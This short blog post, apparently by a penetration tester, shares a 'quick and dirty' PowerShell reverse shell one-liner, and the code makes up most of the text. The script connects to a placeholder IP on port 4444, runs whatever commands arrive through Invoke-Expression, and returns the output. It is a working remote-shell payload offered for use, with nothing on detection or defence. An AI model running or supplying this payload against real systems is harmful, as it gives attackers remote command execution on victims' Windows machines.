CATEGORY: Windows.

Quick and dirty powershell reverse shell

A friend of mine came over a sweet little reverse powershell script. I’ve used a lot of the reverse shell at http://pentestmonkey.net but they do not have a powershell version. $sm=(New-Object Net.Sockets.TCPClient(“192.168.123.456”,4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}